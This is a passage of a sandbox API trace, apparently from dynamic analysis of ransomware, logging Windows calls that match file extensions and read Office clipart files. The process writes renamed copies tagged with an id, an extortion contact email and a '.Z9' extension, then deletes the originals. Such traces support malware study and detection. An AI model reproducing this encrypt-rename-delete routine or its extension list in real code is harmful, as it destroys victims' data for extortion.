	[0089.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.944] lstrlenW (lpString=".doc") returned 4
	[0089.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString=".docx") returned 5
	[0089.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.944] lstrlenW (lpString=".pdf") returned 4
	[0089.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString=".xls") returned 4
	[0089.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.945] lstrlenW (lpString=".xlsx") returned 5
	[0089.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.945] lstrlenW (lpString=".ppt") returned 4
	[0089.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.945] lstrlenW (lpString=".zip") returned 4
	[0089.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.945] lstrlenW (lpString=".rar") returned 4
	[0089.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.945] lstrlenW (lpString=".bz2") returned 4
	[0089.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.945] lstrlenW (lpString=".7z") returned 3
	[0089.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.945] lstrlenW (lpString=".dbf") returned 4
	[0089.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.945] lstrlenW (lpString=".1cd") returned 4
	[0089.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.945] lstrlenW (lpString=".jpg") returned 4
	[0089.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.945] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.945] lstrlenW (lpString="DD01139_.WMF") returned 12
	[0089.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.946] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3632) returned 1
	[0089.946] CloseHandle (hObject=0x38c) returned 1
	[0089.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220
	[0089.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.946] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.946] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0089.947] GetLastError () returned 0x0
	[0089.947] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xe30, lpOverlapped=0x0) returned 1
	[0089.948] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe40, lpOverlapped=0x0) returned 1
	[0089.949] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.949] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.949] SetEndOfFile (hFile=0x398) returned 1
	[0089.949] CloseHandle (hObject=0x398) returned 1
	[0089.949] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.950] SetEndOfFile (hFile=0x38c) returned 1
	[0089.950] CloseHandle (hObject=0x38c) returned 1
	[0089.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1
	[0089.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.951] lstrlenW (lpString=".doc") returned 4
	[0089.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.951] lstrlenW (lpString=".docx") returned 5
	[0089.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.951] lstrlenW (lpString=".pdf") returned 4
	[0089.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.951] lstrlenW (lpString=".xls") returned 4
	[0089.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.951] lstrlenW (lpString=".xlsx") returned 5
	[0089.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.951] lstrlenW (lpString=".ppt") returned 4
	[0089.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.951] lstrlenW (lpString=".zip") returned 4
	[0089.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.951] lstrlenW (lpString=".rar") returned 4
	[0089.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.951] lstrlenW (lpString=".bz2") returned 4
	[0089.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.951] lstrlenW (lpString=".7z") returned 3
	[0089.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.951] lstrlenW (lpString=".dbf") returned 4
	[0089.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.952] lstrlenW (lpString=".1cd") returned 4
	[0089.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.952] lstrlenW (lpString=".jpg") returned 4
	[0089.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.952] lstrlenW (lpString=".doc") returned 4
	[0089.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString=".docx") returned 5
	[0089.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.952] lstrlenW (lpString=".pdf") returned 4
	[0089.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString=".xls") returned 4
	[0089.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.952] lstrlenW (lpString=".xlsx") returned 5
	[0089.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.952] lstrlenW (lpString=".ppt") returned 4
	[0089.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.952] lstrlenW (lpString=".zip") returned 4
	[0089.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.952] lstrlenW (lpString=".rar") returned 4
	[0089.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString=".bz2") returned 4
	[0089.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString=".7z") returned 3
	[0089.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.952] lstrlenW (lpString=".dbf") returned 4
	[0089.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.953] lstrlenW (lpString=".1cd") returned 4
	[0089.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0089.953] lstrlenW (lpString=".jpg") returned 4
	[0089.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.953] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.953] lstrlenW (lpString="DD01140_.WMF") returned 12
	[0089.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.954] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3616) returned 1
	[0089.954] CloseHandle (hObject=0x38c) returned 1
	[0089.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220
	[0089.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.954] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.955] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0089.955] GetLastError () returned 0x0
	[0089.955] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xe20, lpOverlapped=0x0) returned 1
	[0089.956] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0089.957] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.957] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.957] SetEndOfFile (hFile=0x398) returned 1
	[0089.958] CloseHandle (hObject=0x398) returned 1
	[0089.958] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.958] SetEndOfFile (hFile=0x38c) returned 1
	[0089.959] CloseHandle (hObject=0x38c) returned 1
	[0089.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1
	[0089.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.959] lstrlenW (lpString=".doc") returned 4
	[0089.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.959] lstrlenW (lpString=".docx") returned 5
	[0089.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.959] lstrlenW (lpString=".pdf") returned 4
	[0089.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.959] lstrlenW (lpString=".xls") returned 4
	[0089.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.959] lstrlenW (lpString=".xlsx") returned 5
	[0089.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.959] lstrlenW (lpString=".ppt") returned 4
	[0089.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.959] lstrlenW (lpString=".zip") returned 4
	[0089.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.960] lstrlenW (lpString=".rar") returned 4
	[0089.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString=".bz2") returned 4
	[0089.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString=".7z") returned 3
	[0089.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.960] lstrlenW (lpString=".dbf") returned 4
	[0089.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.960] lstrlenW (lpString=".1cd") returned 4
	[0089.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.960] lstrlenW (lpString=".jpg") returned 4
	[0089.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.960] lstrlenW (lpString=".doc") returned 4
	[0089.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString=".docx") returned 5
	[0089.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.960] lstrlenW (lpString=".pdf") returned 4
	[0089.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString=".xls") returned 4
	[0089.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.960] lstrlenW (lpString=".xlsx") returned 5
	[0089.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.960] lstrlenW (lpString=".ppt") returned 4
	[0089.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.960] lstrlenW (lpString=".zip") returned 4
	[0089.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.961] lstrlenW (lpString=".rar") returned 4
	[0089.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.961] lstrlenW (lpString=".bz2") returned 4
	[0089.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.961] lstrlenW (lpString=".7z") returned 3
	[0089.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.961] lstrlenW (lpString=".dbf") returned 4
	[0089.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.961] lstrlenW (lpString=".1cd") returned 4
	[0089.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0089.961] lstrlenW (lpString=".jpg") returned 4
	[0089.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.961] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.961] lstrlenW (lpString="DD01143_.WMF") returned 12
	[0089.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.961] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2140) returned 1
	[0089.961] CloseHandle (hObject=0x38c) returned 1
	[0089.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220
	[0089.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.962] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.962] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0089.962] GetLastError () returned 0x0
	[0089.962] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x85c, lpOverlapped=0x0) returned 1
	[0089.964] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x860, lpOverlapped=0x0) returned 1
	[0089.965] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.965] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.965] SetEndOfFile (hFile=0x398) returned 1
	[0089.965] CloseHandle (hObject=0x398) returned 1
	[0089.965] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.965] SetEndOfFile (hFile=0x38c) returned 1
	[0089.966] CloseHandle (hObject=0x38c) returned 1
	[0089.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1
	[0089.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.966] lstrlenW (lpString=".doc") returned 4
	[0089.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.966] lstrlenW (lpString=".docx") returned 5
	[0089.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.967] lstrlenW (lpString=".pdf") returned 4
	[0089.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString=".xls") returned 4
	[0089.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.967] lstrlenW (lpString=".xlsx") returned 5
	[0089.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.967] lstrlenW (lpString=".ppt") returned 4
	[0089.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.967] lstrlenW (lpString=".zip") returned 4
	[0089.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.967] lstrlenW (lpString=".rar") returned 4
	[0089.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString=".bz2") returned 4
	[0089.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString=".7z") returned 3
	[0089.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.967] lstrlenW (lpString=".dbf") returned 4
	[0089.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.967] lstrlenW (lpString=".1cd") returned 4
	[0089.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
